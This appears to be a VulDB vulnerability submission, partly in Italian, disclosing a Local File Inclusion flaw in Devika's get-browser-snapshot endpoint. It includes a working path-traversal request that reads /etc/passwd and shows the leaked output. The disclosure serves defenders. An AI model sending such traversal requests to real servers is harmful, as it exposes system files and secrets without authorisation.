Invia #414386: Devika latest Local File Inclusion

The function `browser_snapshot` is vulnerable to **Local File Inclusion (LFI)** due to improper input validation on the `snapshot_path` parameter. An attacker can exploit this vulnerability to read arbitrary files from the server by sending a crafted HTTP GET request to the `/api/get-browser-snapshot` endpoint.

### Exploitation Steps

1. **Request**: An attacker sends a GET request to the vulnerable endpoint with the `snapshot_path` parameter set to a file path on the server.

**Example Request:**

```vbnet
GET /api/get-browser-snapshot?snapshot_path=../../../../etc/passwd HTTP/1.1
Host: vulnerable-app.com

```

2. **Response**: The server responds with the contents of the specified file, potentially leaking sensitive data.

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
```

POC


### Impact

- **Information Disclosure**: An attacker can read sensitive system files like `/etc/passwd`, application configuration files, or other resources on the server, leading to **data leakage**.
- **Further Exploitation**: This can be used as a precursor for remote code execution (RCE) by including files containing sensitive environment variables or application secrets.

• Fonte: ⚠️ https://torada.notion.site/Vulnerability-Report-Local-File-Inclusion-LFI-10de10af6a668056a532e55b4598ec36?pvs=4
• Utente: torada (UID 61170)
• Sottomissione: 26/09/2024 23:58 (2 anni fa)
• Moderazione: 06/10/2024 11:58 (9 days later)
• Stato: Duplicato
• Voce VulDB: 272383 [stitionai devika get-browser-snapshot snapshot_path directory traversal]
• Punti: 0